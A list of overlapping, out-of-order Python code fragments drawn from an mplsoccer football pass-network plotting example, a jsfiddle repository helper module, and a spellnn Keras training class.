"'position_abbreviation']] ############################################################################## # Add player position information to the events",
"Create dataframes for passes and player locations # get a",
"= appended_passes.groupby('position_abbreviation').agg({ 'x': ['mean'], 'y': ['mean', 'count']}) average_locs_and_count.columns = ['x',",
"'RW', 18: 'RAM', 19: 'CAM', 20: 'LAM', 21: 'LW', 22:",
"16: 'LM', 17: 'RW', 18: 'RAM', 19: 'CAM', 20: 'LAM',",
"c_transparency = passes_between.pass_count / passes_between.pass_count.max() c_transparency = (c_transparency * (1",
"on the location of each player so we have the",
"Network ============ This example shows how to plot passes between",
"= event_dict['event'] ############################################################################## # Adding on the last tactics id",
"= pitch.draw() pass_lines = pitch.lines(passes_between.x, passes_between.y, passes_between.x_end, passes_between.y_end, lw=passes_between.width, color=color,",
"to the events dataframe events = events.merge(players, on=['tactics_id', 'player_id'], how='left',",
"start and end positions of the lines passes_between = passes_between.merge(average_locs_and_count,",
"abbreviated player position to the players dataframe formation_dict = {1:",
"players_sub = (players_sub[['id', 'substitution_replacement_id', 'position_abbreviation']] .rename({'substitution_replacement_id': 'player_id'}, axis='columns')) players =",
"pitch.scatter(average_locs_and_count.x, average_locs_and_count.y, s=average_locs_and_count.marker_size, color='red', edgecolors='black', linewidth=1, alpha=1, ax=ax) for index,",
"Plotting pitch = Pitch(pitch_type='statsbomb', orientation='horizontal', pitch_color='#22312b', line_color='#c7d5cc', figsize=(16, 11), constrained_layout=True,",
"7: 'RWB', 8: 'LWB', 9: 'RDM', 10: 'CDM', 11: 'LDM',",
"= ['x', 'y', 'count'] ############################################################################## # Group the passes by",
"= passes_formation[['position_abbreviation', 'x', 'y']].copy() recipient_passes = passes_formation[['position_abbreviation_receipt', 'end_x', 'end_y']].copy() #",
"passes_between.pass_count.max() c_transparency = (c_transparency * (1 - min_transparency)) + min_transparency",
"'LCF', 25: 'SS'} players['position_abbreviation'] = players.player_position_id.map(formation_dict) ############################################################################## # Add on",
"# add on the position the player was playing in",
"'Barcelona' opponent = 'Alavés (A), 2018/19 La Liga' event_dict =",
"'pass_recipient_id'}, axis='columns'), on=['tactics_id', 'pass_recipient_id'], how='left', validate='m:1', suffixes=['', '_receipt']) ############################################################################## #",
"events for each slot in the formation formation = 433",
"players = event_dict['tactics_lineup'] events = event_dict['event'] ############################################################################## # Adding on",
"# but the formation doesn't change sub = events.loc[events.type_name ==",
"but the formation doesn't change sub = events.loc[events.type_name == 'Substitution',",
"recipient_passes.rename({'position_abbreviation_receipt': 'position_abbreviation', 'end_x': 'x', 'end_y': 'y'}, axis='columns', inplace=True) # create",
"['tactics_id', 'player_id', 'substitution_replacement_id', 'substitution_replacement_name']] players_sub = players.merge(sub.rename({'tactics_id': 'id'}, axis='columns'), on=['id',",
"in match: '.format(team), passes['tactics_formation'].unique()) ############################################################################## # Filter passes by chosen",
"############################################################################## # Set team and match info, and get event",
"= events.groupby('team_name')[[ 'tactics_id', 'tactics_formation']].ffill() ############################################################################## # Add the abbreviated player",
"passes['tactics_formation'].unique()) ############################################################################## # Filter passes by chosen formation, then group",
"event_dict['tactics_lineup'] events = event_dict['event'] ############################################################################## # Adding on the last",
"ignore_index=True) average_locs_and_count = appended_passes.groupby('position_abbreviation').agg({ 'x': ['mean'], 'y': ['mean', 'count']}) average_locs_and_count.columns",
"min/ max so we get passes both ways) passes_formation['pos_max'] =",
"as np from mplsoccer.statsbomb import read_event, EVENT_SLUG ############################################################################## # Set",
"the formation doesn't change sub = events.loc[events.type_name == 'Substitution', ['tactics_id',",
"'pass_recipient_id', 'pass_recipient_name', 'x', 'y', 'end_x', 'end_y', 'tactics_id', 'tactics_formation', 'position_abbreviation', 'position_abbreviation_receipt']",
"inplace=True) # create a new dataframe containing all individual passes",
"tactics id and formation for the team for each event",
"linewidth=1, alpha=1, ax=ax) for index, row in average_locs_and_count.iterrows(): pitch.annotate(row.name, xy=(row.x,",
"on=['id', 'player_id'], how='inner', validate='1:1') players_sub = (players_sub[['id', 'substitution_replacement_id', 'position_abbreviation']] .rename({'substitution_replacement_id':",
"players.player_position_id.map(formation_dict) ############################################################################## # Add on the subsitutions to the players",
"3000 passes_between['width'] = passes_between.pass_count / passes_between.pass_count.max() * max_line_width average_locs_and_count['marker_size'] =",
"17: 'RW', 18: 'RAM', 19: 'CAM', 20: 'LAM', 21: 'LW',",
"= 'Barcelona' opponent = 'Alavés (A), 2018/19 La Liga' event_dict",
"fig, ax = pitch.draw() pass_lines = pitch.lines(passes_between.x, passes_between.y, passes_between.x_end, passes_between.y_end,",
"players dataframe, i.e. where players are subbed on # but",
"'substitution_replacement_name']] players_sub = players.merge(sub.rename({'tactics_id': 'id'}, axis='columns'), on=['id', 'player_id'], how='inner', validate='1:1')",
"dataframe # calculate the number of passes between each position",
"on the last tactics id and formation for the team",
"'position_abbreviation', 'position_abbreviation_receipt'] passes = events.loc[mask_pass, to_keep].copy() print('Formations used by {}",
"xy=(row.x, row.y), c='white', va='center', ha='center', size=16, weight='bold', ax=ax) title =",
"position information to the events dataframe # add on the",
"size=16, weight='bold', ax=ax) title = ax.set_title(\"{} {} Formation vs {}\".format(team,",
"in a set formation. \"\"\" import pandas as pd from",
"= 18 max_marker_size = 3000 passes_between['width'] = passes_between.pass_count / passes_between.pass_count.max()",
"new dataframe containing all individual passes and receipts from passes_formation",
"match those in passer_passes recipient_passes.rename({'position_abbreviation_receipt': 'position_abbreviation', 'end_x': 'x', 'end_y': 'y'},",
"(A), 2018/19 La Liga' event_dict = read_event(f'{EVENT_SLUG}/{match_id}.json', warn=False) players =",
"events = event_dict['event'] ############################################################################## # Adding on the last tactics",
"passes_between.merge(average_locs_and_count, left_on='pos_max', right_index=True, suffixes=['', '_end']) ############################################################################## # Calculate the line"
] |
[
"in getdirs.getdirs(self.path): relpath = os.path.relpath(path, os.getcwd()) new_relpath = jsfiddle_github.sanitize(relpath) new_path",
"relpath[0] == \".\" and \"%s.\" % os.sep not in relpath",
"break def update_resources(self): f = os.path.join(self.path, \"resources.txt\") if not os.path.exists(f):",
"in getdirs.getdirs(self.path): _init(path) def detox(self): renamed = True while renamed:",
"= getfiles.getfiles(self.path) matches = [\"demo.details\", \"fiddle.manifest\"] for f in filter(lambda",
"def init(self): for path in getdirs.getdirs(self.path): _init(path) def detox(self): renamed",
"isempty or isfiddle: jsfiddle_generator.JSFiddleRepo().create() @popd.popd def _readme(path): os.chdir(path) jsfiddle_readme_generator.Readme().save(\"README.md\") class",
"f in filter(lambda f: os.path.basename(f) in matches, files): _readme(os.path.dirname(f)) def",
"= relpath[0] == \".\" and \"%s.\" % os.sep not in",
"= yaml.load(open(f, 'r')) if data.get(\"resources\", []) != resources: data[\"resources\"] =",
"\"fiddle.manifest\"] for f in filter(lambda f: os.path.basename(f) in matches, files):",
"0 isfiddle = len( list(filter(os.path.exists, [\"demo.css\", \"demo.js\", \"demo.html\"]))) > 0",
"%s\" % (path, new_path)) renamed = True break def update_resources(self):",
"def _readme(path): os.chdir(path) jsfiddle_readme_generator.Readme().save(\"README.md\") class Factory: \"\"\"attrs: `path`. methods: `detox()`,",
"new_path)) renamed = True break def update_resources(self): f = os.path.join(self.path,",
"def detox(self): renamed = True while renamed: renamed = False",
"= ['Factory'] import jsfiddle_build import jsfiddle_github import jsfiddle_generator import jsfiddle_readme_generator",
"print(\"%s -> %s\" % (path, new_path)) renamed = True break",
"update_resources(self): f = os.path.join(self.path, \"resources.txt\") if not os.path.exists(f): print(\"SKIP: %s",
"`update_resources()`\"\"\" path = None def __init__(self, path=None): if not path:",
"jsfiddle_generator import jsfiddle_readme_generator import getdirs import getfiles import os import",
"matches, files): if os.path.exists(f): data = yaml.load(open(f, 'r')) if data.get(\"resources\",",
"False for path in getdirs.getdirs(self.path): relpath = os.path.relpath(path, os.getcwd()) new_relpath",
"= None def __init__(self, path=None): if not path: path =",
"\"resources.txt\") if not os.path.exists(f): print(\"SKIP: %s NOT EXISTS\" % f)",
"os.path.join(self.path, \"resources.txt\") if not os.path.exists(f): print(\"SKIP: %s NOT EXISTS\" %",
"% (path, new_path)) renamed = True break def update_resources(self): f",
"in filter(lambda f: os.path.basename(f) in matches, files): _build(os.path.dirname(f)) def create_readme(self):",
"True while renamed: renamed = False for path in getdirs.getdirs(self.path):",
"new_relpath != relpath: os.rename(path, new_path) print(\"%s -> %s\" % (path,",
"= list(filter(None, open(f).read().splitlines())) files = getfiles.getfiles(self.path) matches = [\"demo.details\", \"fiddle.manifest\"]",
"getdirs.getdirs(self.path): relpath = os.path.relpath(path, os.getcwd()) new_relpath = jsfiddle_github.sanitize(relpath) new_path =",
"f = os.path.join(self.path, \"resources.txt\") if not os.path.exists(f): print(\"SKIP: %s NOT",
"isfiddle: jsfiddle_generator.JSFiddleRepo().create() @popd.popd def _readme(path): os.chdir(path) jsfiddle_readme_generator.Readme().save(\"README.md\") class Factory: \"\"\"attrs:",
"renamed = True break def update_resources(self): f = os.path.join(self.path, \"resources.txt\")",
"<filename>jsfiddle_factory/__init__.py __all__ = ['Factory'] import jsfiddle_build import jsfiddle_github import jsfiddle_generator",
"= os.path.relpath(path, os.getcwd()) new_relpath = jsfiddle_github.sanitize(relpath) new_path = os.path.join(os.getcwd(), new_relpath)",
"path in getdirs.getdirs(self.path): _init(path) def detox(self): renamed = True while",
"= path def build_html(self): files = getfiles.getfiles(self.path) matches = [\"demo.html\",",
"len(os.listdir(path)) == 0 isfiddle = len( list(filter(os.path.exists, [\"demo.css\", \"demo.js\", \"demo.html\"])))",
"for f in filter(lambda f: os.path.basename(f) in matches, files): _readme(os.path.dirname(f))",
"in matches, files): _readme(os.path.dirname(f)) def init(self): for path in getdirs.getdirs(self.path):",
"\"\"\"attrs: `path`. methods: `detox()`, `init()`, `build()`, `readme()`, `update_resources()`\"\"\" path =",
"!= relpath: os.rename(path, new_path) print(\"%s -> %s\" % (path, new_path))",
"matches, files): _build(os.path.dirname(f)) def create_readme(self): files = getfiles.getfiles(self.path) matches =",
"== \".\" and \"%s.\" % os.sep not in relpath if",
"= os.path.join(self.path, \"resources.txt\") if not os.path.exists(f): print(\"SKIP: %s NOT EXISTS\"",
"for f in filter(lambda f: os.path.basename(f) in matches, files): if",
"\".\" and \"%s.\" % os.sep not in relpath if not",
"os.chdir(path) isempty = len(os.listdir(path)) == 0 isfiddle = len( list(filter(os.path.exists,",
"path: path = os.getcwd() self.path = path def build_html(self): files",
"jsfiddle_readme_generator import getdirs import getfiles import os import popd import",
"_build(path): os.chdir(path) jsfiddle_build.Build().save(\"build.html\") @popd.popd def _init(path): os.chdir(path) isempty = len(os.listdir(path))",
"_build(os.path.dirname(f)) def create_readme(self): files = getfiles.getfiles(self.path) matches = [\"demo.html\", \"fiddle.html\"]",
"path def build_html(self): files = getfiles.getfiles(self.path) matches = [\"demo.html\", \"fiddle.html\"]",
"True break def update_resources(self): f = os.path.join(self.path, \"resources.txt\") if not",
"% os.sep not in relpath if not ishidden and new_relpath",
"'r')) if data.get(\"resources\", []) != resources: data[\"resources\"] = resources yaml.dump(data,",
"def _build(path): os.chdir(path) jsfiddle_build.Build().save(\"build.html\") @popd.popd def _init(path): os.chdir(path) isempty =",
"os.path.relpath(path, os.getcwd()) new_relpath = jsfiddle_github.sanitize(relpath) new_path = os.path.join(os.getcwd(), new_relpath) ishidden",
"relpath = os.path.relpath(path, os.getcwd()) new_relpath = jsfiddle_github.sanitize(relpath) new_path = os.path.join(os.getcwd(),",
"filter(lambda f: os.path.basename(f) in matches, files): _readme(os.path.dirname(f)) def init(self): for",
"import popd import yaml @popd.popd def _build(path): os.chdir(path) jsfiddle_build.Build().save(\"build.html\") @popd.popd",
"self.path = path def build_html(self): files = getfiles.getfiles(self.path) matches =",
"f: os.path.basename(f) in matches, files): _readme(os.path.dirname(f)) def init(self): for path",
"\"%s.\" % os.sep not in relpath if not ishidden and",
"filter(lambda f: os.path.basename(f) in matches, files): _build(os.path.dirname(f)) def create_readme(self): files",
"f in filter(lambda f: os.path.basename(f) in matches, files): if os.path.exists(f):",
"[]) != resources: data[\"resources\"] = resources yaml.dump(data, open(f, 'w'), default_flow_style=False)",
"import jsfiddle_build import jsfiddle_github import jsfiddle_generator import jsfiddle_readme_generator import getdirs",
"matches, files): _readme(os.path.dirname(f)) def init(self): for path in getdirs.getdirs(self.path): _init(path)",
"def _init(path): os.chdir(path) isempty = len(os.listdir(path)) == 0 isfiddle =",
"ishidden = relpath[0] == \".\" and \"%s.\" % os.sep not",
"if not path: path = os.getcwd() self.path = path def",
"yaml @popd.popd def _build(path): os.chdir(path) jsfiddle_build.Build().save(\"build.html\") @popd.popd def _init(path): os.chdir(path)",
"path = None def __init__(self, path=None): if not path: path",
"jsfiddle_generator.JSFiddleRepo().create() @popd.popd def _readme(path): os.chdir(path) jsfiddle_readme_generator.Readme().save(\"README.md\") class Factory: \"\"\"attrs: `path`.",
"and new_relpath != relpath: os.rename(path, new_path) print(\"%s -> %s\" %",
"os.rename(path, new_path) print(\"%s -> %s\" % (path, new_path)) renamed =",
"None def __init__(self, path=None): if not path: path = os.getcwd()",
"@popd.popd def _build(path): os.chdir(path) jsfiddle_build.Build().save(\"build.html\") @popd.popd def _init(path): os.chdir(path) isempty",
"f: os.path.basename(f) in matches, files): _build(os.path.dirname(f)) def create_readme(self): files =",
"['Factory'] import jsfiddle_build import jsfiddle_github import jsfiddle_generator import jsfiddle_readme_generator import",
"class Factory: \"\"\"attrs: `path`. methods: `detox()`, `init()`, `build()`, `readme()`, `update_resources()`\"\"\"",
"def build_html(self): files = getfiles.getfiles(self.path) matches = [\"demo.html\", \"fiddle.html\"] for",
"getdirs import getfiles import os import popd import yaml @popd.popd",
"= os.getcwd() self.path = path def build_html(self): files = getfiles.getfiles(self.path)",
"[\"demo.html\", \"fiddle.html\"] for f in filter(lambda f: os.path.basename(f) in matches,",
"= True while renamed: renamed = False for path in",
"path in getdirs.getdirs(self.path): relpath = os.path.relpath(path, os.getcwd()) new_relpath = jsfiddle_github.sanitize(relpath)",
"new_relpath = jsfiddle_github.sanitize(relpath) new_path = os.path.join(os.getcwd(), new_relpath) ishidden = relpath[0]",
"jsfiddle_github.sanitize(relpath) new_path = os.path.join(os.getcwd(), new_relpath) ishidden = relpath[0] == \".\"",
"= True break def update_resources(self): f = os.path.join(self.path, \"resources.txt\") if",
"data = yaml.load(open(f, 'r')) if data.get(\"resources\", []) != resources: data[\"resources\"]",
"if os.path.exists(f): data = yaml.load(open(f, 'r')) if data.get(\"resources\", []) !=",
"in filter(lambda f: os.path.basename(f) in matches, files): if os.path.exists(f): data",
"import jsfiddle_generator import jsfiddle_readme_generator import getdirs import getfiles import os",
"= len( list(filter(os.path.exists, [\"demo.css\", \"demo.js\", \"demo.html\"]))) > 0 if isempty",
"_readme(os.path.dirname(f)) def init(self): for path in getdirs.getdirs(self.path): _init(path) def detox(self):",
"while renamed: renamed = False for path in getdirs.getdirs(self.path): relpath",
"files = getfiles.getfiles(self.path) matches = [\"demo.details\", \"fiddle.manifest\"] for f in",
"relpath: os.rename(path, new_path) print(\"%s -> %s\" % (path, new_path)) renamed",
"os import popd import yaml @popd.popd def _build(path): os.chdir(path) jsfiddle_build.Build().save(\"build.html\")",
"resources = list(filter(None, open(f).read().splitlines())) files = getfiles.getfiles(self.path) matches = [\"demo.details\",",
"if not os.path.exists(f): print(\"SKIP: %s NOT EXISTS\" % f) resources",
"if data.get(\"resources\", []) != resources: data[\"resources\"] = resources yaml.dump(data, open(f,",
"os.getcwd() self.path = path def build_html(self): files = getfiles.getfiles(self.path) matches",
"renamed: renamed = False for path in getdirs.getdirs(self.path): relpath =",
"= [\"demo.details\", \"fiddle.manifest\"] for f in filter(lambda f: os.path.basename(f) in",
"or isfiddle: jsfiddle_generator.JSFiddleRepo().create() @popd.popd def _readme(path): os.chdir(path) jsfiddle_readme_generator.Readme().save(\"README.md\") class Factory:",
"in matches, files): if os.path.exists(f): data = yaml.load(open(f, 'r')) if",
"f in filter(lambda f: os.path.basename(f) in matches, files): _build(os.path.dirname(f)) def",
"_init(path) def detox(self): renamed = True while renamed: renamed =",
"getfiles.getfiles(self.path) matches = [\"demo.html\", \"fiddle.html\"] for f in filter(lambda f:",
"-> %s\" % (path, new_path)) renamed = True break def",
"os.sep not in relpath if not ishidden and new_relpath !=",
"= [\"demo.html\", \"fiddle.html\"] for f in filter(lambda f: os.path.basename(f) in",
"__init__(self, path=None): if not path: path = os.getcwd() self.path =",
"init(self): for path in getdirs.getdirs(self.path): _init(path) def detox(self): renamed =",
"files): if os.path.exists(f): data = yaml.load(open(f, 'r')) if data.get(\"resources\", [])",
"for f in filter(lambda f: os.path.basename(f) in matches, files): _build(os.path.dirname(f))",
"[\"demo.css\", \"demo.js\", \"demo.html\"]))) > 0 if isempty or isfiddle: jsfiddle_generator.JSFiddleRepo().create()",
"import getfiles import os import popd import yaml @popd.popd def",
"% f) resources = list(filter(None, open(f).read().splitlines())) files = getfiles.getfiles(self.path) matches",
"for path in getdirs.getdirs(self.path): _init(path) def detox(self): renamed = True",
"relpath if not ishidden and new_relpath != relpath: os.rename(path, new_path)",
"def __init__(self, path=None): if not path: path = os.getcwd() self.path",
"@popd.popd def _init(path): os.chdir(path) isempty = len(os.listdir(path)) == 0 isfiddle",
"os.path.basename(f) in matches, files): _build(os.path.dirname(f)) def create_readme(self): files = getfiles.getfiles(self.path)",
"`path`. methods: `detox()`, `init()`, `build()`, `readme()`, `update_resources()`\"\"\" path = None",
"os.chdir(path) jsfiddle_build.Build().save(\"build.html\") @popd.popd def _init(path): os.chdir(path) isempty = len(os.listdir(path)) ==",
"isempty = len(os.listdir(path)) == 0 isfiddle = len( list(filter(os.path.exists, [\"demo.css\",",
"len( list(filter(os.path.exists, [\"demo.css\", \"demo.js\", \"demo.html\"]))) > 0 if isempty or",
"not in relpath if not ishidden and new_relpath != relpath:",
"list(filter(None, open(f).read().splitlines())) files = getfiles.getfiles(self.path) matches = [\"demo.details\", \"fiddle.manifest\"] for",
"EXISTS\" % f) resources = list(filter(None, open(f).read().splitlines())) files = getfiles.getfiles(self.path)",
"`detox()`, `init()`, `build()`, `readme()`, `update_resources()`\"\"\" path = None def __init__(self,",
"jsfiddle_build import jsfiddle_github import jsfiddle_generator import jsfiddle_readme_generator import getdirs import",
"%s NOT EXISTS\" % f) resources = list(filter(None, open(f).read().splitlines())) files",
"path=None): if not path: path = os.getcwd() self.path = path",
"popd import yaml @popd.popd def _build(path): os.chdir(path) jsfiddle_build.Build().save(\"build.html\") @popd.popd def",
"\"fiddle.html\"] for f in filter(lambda f: os.path.basename(f) in matches, files):",
"getdirs.getdirs(self.path): _init(path) def detox(self): renamed = True while renamed: renamed",
"new_path = os.path.join(os.getcwd(), new_relpath) ishidden = relpath[0] == \".\" and",
"and \"%s.\" % os.sep not in relpath if not ishidden",
"\"demo.js\", \"demo.html\"]))) > 0 if isempty or isfiddle: jsfiddle_generator.JSFiddleRepo().create() @popd.popd",
"import os import popd import yaml @popd.popd def _build(path): os.chdir(path)",
"Factory: \"\"\"attrs: `path`. methods: `detox()`, `init()`, `build()`, `readme()`, `update_resources()`\"\"\" path",
"os.chdir(path) jsfiddle_readme_generator.Readme().save(\"README.md\") class Factory: \"\"\"attrs: `path`. methods: `detox()`, `init()`, `build()`,",
"yaml.load(open(f, 'r')) if data.get(\"resources\", []) != resources: data[\"resources\"] = resources",
"jsfiddle_readme_generator.Readme().save(\"README.md\") class Factory: \"\"\"attrs: `path`. methods: `detox()`, `init()`, `build()`, `readme()`,",
"0 if isempty or isfiddle: jsfiddle_generator.JSFiddleRepo().create() @popd.popd def _readme(path): os.chdir(path)",
"_init(path): os.chdir(path) isempty = len(os.listdir(path)) == 0 isfiddle = len(",
"\"demo.html\"]))) > 0 if isempty or isfiddle: jsfiddle_generator.JSFiddleRepo().create() @popd.popd def",
"not ishidden and new_relpath != relpath: os.rename(path, new_path) print(\"%s ->",
"__all__ = ['Factory'] import jsfiddle_build import jsfiddle_github import jsfiddle_generator import",
"filter(lambda f: os.path.basename(f) in matches, files): if os.path.exists(f): data =",
"getfiles.getfiles(self.path) matches = [\"demo.details\", \"fiddle.manifest\"] for f in filter(lambda f:",
"= getfiles.getfiles(self.path) matches = [\"demo.html\", \"fiddle.html\"] for f in filter(lambda",
"renamed = True while renamed: renamed = False for path",
"files): _build(os.path.dirname(f)) def create_readme(self): files = getfiles.getfiles(self.path) matches = [\"demo.html\",",
"getfiles import os import popd import yaml @popd.popd def _build(path):",
"new_path) print(\"%s -> %s\" % (path, new_path)) renamed = True",
"files): _readme(os.path.dirname(f)) def init(self): for path in getdirs.getdirs(self.path): _init(path) def",
"open(f).read().splitlines())) files = getfiles.getfiles(self.path) matches = [\"demo.details\", \"fiddle.manifest\"] for f",
"import jsfiddle_readme_generator import getdirs import getfiles import os import popd",
"in relpath if not ishidden and new_relpath != relpath: os.rename(path,",
"detox(self): renamed = True while renamed: renamed = False for",
"`readme()`, `update_resources()`\"\"\" path = None def __init__(self, path=None): if not",
"not path: path = os.getcwd() self.path = path def build_html(self):",
"files = getfiles.getfiles(self.path) matches = [\"demo.html\", \"fiddle.html\"] for f in",
"matches = [\"demo.html\", \"fiddle.html\"] for f in filter(lambda f: os.path.basename(f)",
"os.getcwd()) new_relpath = jsfiddle_github.sanitize(relpath) new_path = os.path.join(os.getcwd(), new_relpath) ishidden =",
"@popd.popd def _readme(path): os.chdir(path) jsfiddle_readme_generator.Readme().save(\"README.md\") class Factory: \"\"\"attrs: `path`. methods:",
"build_html(self): files = getfiles.getfiles(self.path) matches = [\"demo.html\", \"fiddle.html\"] for f",
"= len(os.listdir(path)) == 0 isfiddle = len( list(filter(os.path.exists, [\"demo.css\", \"demo.js\",",
"in matches, files): _build(os.path.dirname(f)) def create_readme(self): files = getfiles.getfiles(self.path) matches",
"os.path.basename(f) in matches, files): _readme(os.path.dirname(f)) def init(self): for path in",
"list(filter(os.path.exists, [\"demo.css\", \"demo.js\", \"demo.html\"]))) > 0 if isempty or isfiddle:",
"create_readme(self): files = getfiles.getfiles(self.path) matches = [\"demo.html\", \"fiddle.html\"] for f",
"if not ishidden and new_relpath != relpath: os.rename(path, new_path) print(\"%s",
"os.path.exists(f): print(\"SKIP: %s NOT EXISTS\" % f) resources = list(filter(None,",
"`init()`, `build()`, `readme()`, `update_resources()`\"\"\" path = None def __init__(self, path=None):",
"NOT EXISTS\" % f) resources = list(filter(None, open(f).read().splitlines())) files =",
"methods: `detox()`, `init()`, `build()`, `readme()`, `update_resources()`\"\"\" path = None def",
"in filter(lambda f: os.path.basename(f) in matches, files): _readme(os.path.dirname(f)) def init(self):",
"= jsfiddle_github.sanitize(relpath) new_path = os.path.join(os.getcwd(), new_relpath) ishidden = relpath[0] ==",
"= os.path.join(os.getcwd(), new_relpath) ishidden = relpath[0] == \".\" and \"%s.\"",
"def update_resources(self): f = os.path.join(self.path, \"resources.txt\") if not os.path.exists(f): print(\"SKIP:",
"jsfiddle_build.Build().save(\"build.html\") @popd.popd def _init(path): os.chdir(path) isempty = len(os.listdir(path)) == 0",
"`build()`, `readme()`, `update_resources()`\"\"\" path = None def __init__(self, path=None): if",
"not os.path.exists(f): print(\"SKIP: %s NOT EXISTS\" % f) resources =",
"f: os.path.basename(f) in matches, files): if os.path.exists(f): data = yaml.load(open(f,",
"ishidden and new_relpath != relpath: os.rename(path, new_path) print(\"%s -> %s\"",
"def create_readme(self): files = getfiles.getfiles(self.path) matches = [\"demo.html\", \"fiddle.html\"] for",
"os.path.basename(f) in matches, files): if os.path.exists(f): data = yaml.load(open(f, 'r'))",
"matches = [\"demo.details\", \"fiddle.manifest\"] for f in filter(lambda f: os.path.basename(f)",
"os.path.join(os.getcwd(), new_relpath) ishidden = relpath[0] == \".\" and \"%s.\" %",
"[\"demo.details\", \"fiddle.manifest\"] for f in filter(lambda f: os.path.basename(f) in matches,",
"jsfiddle_github import jsfiddle_generator import jsfiddle_readme_generator import getdirs import getfiles import",
"import jsfiddle_github import jsfiddle_generator import jsfiddle_readme_generator import getdirs import getfiles",
"isfiddle = len( list(filter(os.path.exists, [\"demo.css\", \"demo.js\", \"demo.html\"]))) > 0 if",
"for path in getdirs.getdirs(self.path): relpath = os.path.relpath(path, os.getcwd()) new_relpath =",
"renamed = False for path in getdirs.getdirs(self.path): relpath = os.path.relpath(path,",
"new_relpath) ishidden = relpath[0] == \".\" and \"%s.\" % os.sep",
"(path, new_path)) renamed = True break def update_resources(self): f =",
"if isempty or isfiddle: jsfiddle_generator.JSFiddleRepo().create() @popd.popd def _readme(path): os.chdir(path) jsfiddle_readme_generator.Readme().save(\"README.md\")",
"= False for path in getdirs.getdirs(self.path): relpath = os.path.relpath(path, os.getcwd())",
"data.get(\"resources\", []) != resources: data[\"resources\"] = resources yaml.dump(data, open(f, 'w'),",
"import yaml @popd.popd def _build(path): os.chdir(path) jsfiddle_build.Build().save(\"build.html\") @popd.popd def _init(path):",
"os.path.exists(f): data = yaml.load(open(f, 'r')) if data.get(\"resources\", []) != resources:",
"f) resources = list(filter(None, open(f).read().splitlines())) files = getfiles.getfiles(self.path) matches =",
"path = os.getcwd() self.path = path def build_html(self): files =",
"import getdirs import getfiles import os import popd import yaml",
"_readme(path): os.chdir(path) jsfiddle_readme_generator.Readme().save(\"README.md\") class Factory: \"\"\"attrs: `path`. methods: `detox()`, `init()`,",
"== 0 isfiddle = len( list(filter(os.path.exists, [\"demo.css\", \"demo.js\", \"demo.html\"]))) >",
"> 0 if isempty or isfiddle: jsfiddle_generator.JSFiddleRepo().create() @popd.popd def _readme(path):",
"print(\"SKIP: %s NOT EXISTS\" % f) resources = list(filter(None, open(f).read().splitlines()))"
] |
[
"seed=42, reshuffle_each_iteration=True) self.valid_dataset = self.valid_dataset.batch(batch_size, drop_remainder=True) self.valid_dataset = self.valid_dataset.map( lambda",
"tf.numpy_function(func=data_processor.process_batch, inp=[b], Tout=['int32', 'int32', 'int32'])) self.train_dataset = self.train_dataset.map(lambda enc_in, dec_in,",
"DataProcessor(locale=locale, char2id=self.char2int, alphabet=all_chars, alphabet_weighs=char_weights) print('Calculating number of lines in the",
"validation_split) * all_samples) self.nb_valid_samples = all_samples - self.nb_train_samples dataset =",
"and c.islower() else 0.2 if c.isalpha() else 0.1 if c",
"self.valid_dataset: Optional[tf.data.Dataset] = None self.char2int: Optional[CharMapping] = None self.model: Optional[Model]",
"datetime from inspect import signature, Parameter from pathlib import Path",
"for k, v in arguments.parameters.items() if v.default is not Parameter.empty",
"Tout=['int32', 'int32', 'int32'])) self.valid_dataset = self.valid_dataset.map(lambda enc_in, dec_in, targ: ((enc_in,",
"5, steps_per_epoch: Union[int, str] = 'auto', validation_steps: Union[int, str] =",
"pprint(locals()) log_dir = Path(log_dir).joinpath(datetime.now().replace(microsecond=0).isoformat()) model_path = Path(log_dir).joinpath('checkpoints').joinpath('best-model.h5py') model_path = str(model_path)",
"import datetime from inspect import signature, Parameter from pathlib import",
"tensorflow.keras import Model from spellnn import models from spellnn.data import",
"file...', end=' ') all_samples = nb_lines(path) print(all_samples) self.batch_size = batch_size",
"+ str(v) + '\"' for k, v in arguments.items()]) #",
"steps_per_epoch=steps_per_epoch, validation_data=self.valid_dataset.as_numpy_iterator(), validation_steps=validation_steps, epochs=epochs, use_multiprocessing=use_multiprocessing, workers=os.cpu_count() - 1, callbacks=[ TerminateOnNaN(),",
"k != 'self'} arguments['nb_symbols'] = len(self.char2int) arg_str = ', '.join([f'{k}='",
"self.valid_dataset.map(lambda enc_in, dec_in, targ: ((enc_in, dec_in), targ)) self.valid_dataset = self.valid_dataset.repeat()",
"all_samples) self.nb_valid_samples = all_samples - self.nb_train_samples dataset = tf.data.TextLineDataset(path) self.train_dataset",
"+ str(v) if type(v) != str else f'{k}=' '\"' +",
"pprint import pprint from textwrap import dedent from typing import",
"lambda b: tf.numpy_function(func=data_processor.process_batch, inp=[b], Tout=['int32', 'int32', 'int32'])) self.train_dataset = self.train_dataset.map(lambda",
"self.valid_dataset = dataset.skip(self.nb_train_samples) self.valid_dataset = self.valid_dataset.shuffle(10 * batch_size, seed=42, reshuffle_each_iteration=True)",
"= self.valid_dataset.map(lambda enc_in, dec_in, targ: ((enc_in, dec_in), targ)) self.valid_dataset =",
"enc_in, dec_in, targ: ((enc_in, dec_in), targ)) self.valid_dataset = self.valid_dataset.repeat() return",
"self.batch_size self.model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['acc']) history = self.model.fit_generator( self.train_dataset.as_numpy_iterator(), steps_per_epoch=steps_per_epoch, validation_data=self.valid_dataset.as_numpy_iterator(),",
"not in {alphabet.START, alphabet.END} else 0 for c in all_chars]",
"Model from spellnn import models from spellnn.data import alphabet from",
"{'self': self, name: getattr(models, name), arg_str: arg_str}) return getattr(self, name)",
"nb_lines(path) print(all_samples) self.batch_size = batch_size self.nb_train_samples = int((1 - validation_split)",
"import EarlyStopping, ModelCheckpoint, TensorBoard, TerminateOnNaN from tensorflow.keras import Model from",
"validation_data=self.valid_dataset.as_numpy_iterator(), validation_steps=validation_steps, epochs=epochs, use_multiprocessing=use_multiprocessing, workers=os.cpu_count() - 1, callbacks=[ TerminateOnNaN(), TensorBoard(log_dir=log_dir),",
"spellnn.data.util import nb_lines from spellnn.layers.mapping import CharMapping os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'",
"create({arg_str}): self.model = {name}(**locals()) return self create.__name__ = {name}.__name__ create.__doc__",
"= 5, steps_per_epoch: Union[int, str] = 'auto', validation_steps: Union[int, str]",
"= 'logs', use_multiprocessing: bool = False): pprint(locals()) log_dir = Path(log_dir).joinpath(datetime.now().replace(microsecond=0).isoformat())",
